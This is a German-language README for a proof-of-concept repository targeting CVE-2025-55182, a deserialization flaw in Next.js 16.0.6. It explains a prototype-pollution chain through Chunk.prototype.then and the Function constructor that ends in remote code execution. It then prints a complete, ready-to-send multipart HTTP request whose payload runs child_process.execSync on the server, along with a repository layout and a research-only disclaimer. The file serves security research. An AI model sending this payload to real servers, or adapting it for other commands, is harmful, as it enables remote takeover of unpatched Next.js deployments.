
Stärker auf Exploits ausgerichtet; ideal für Repos zur Sicherheitsforschung.
Dieses Repository enthält einen funktionierenden Proof-of-Concept (POC) für CVE-2025-55182, eine kritische Deserialisierungsschwachstelle, die Next.js 16.0.6 betrifft.
Der Exploit missbraucht die $@-Chunk-Deserialisierung und Chunk.prototype.then, um die vollständige Kontrolle über den Chunk-Auflösungsprozess zu erlangen und willkürliche Codeausführung (RCE) auf dem Server zu erreichen.
Next.js verwendet interne Chunk-Objekte und einen Streaming-/Deserialisierungsmechanismus für Server-Aktionen.
Durch Missbrauch von $@ zur Deserialisierung einer Chunk-Referenz und zum Injizieren von Chunk.prototype.then in das Root-Objekt kann ein Angreifer:
then(...) mit einem vom Angreifer kontrollierten this aufzurufenstatus auf resolved_model setzeninitializeModelChunk mit einem gefälschten, vollständig vom Angreifer kontrollierten Chunk auslösenchunk._response missbrauchen, um gefährliches internes Verhalten zu erreichenDas endgültige Ziel ist es, die Blob-Deserialisierung auszulösen, die einen Aufruf wie den folgenden ausführt:
response._formData.get(response._prefix)
Indem der Angreifer response._formData.get = Function setzt und beliebigen Code in response._prefix platziert, kann er beliebige Systembefehle ausführen.
Die HTTP-Anfrage in poc/CVE-2025-55182.http demonstriert den Exploit gegen Next.js 16.0.6, das lokal läuft, und startet xcalc über child_process.execSync:
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
/
├── README.md
├── DISCLAIMER.md
├── poc/
│ └── CVE-2025-55182.http
└── analysis/
└── exploitation-notes.md
Dieses Projekt wird ausschließlich zu Bildungs- und Forschungszwecken bereitgestellt. Verwenden Sie diesen Exploit NICHT auf Systemen, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben.
Der Autor übernimmt keine Verantwortung für Missbrauch oder verursachte Schäden.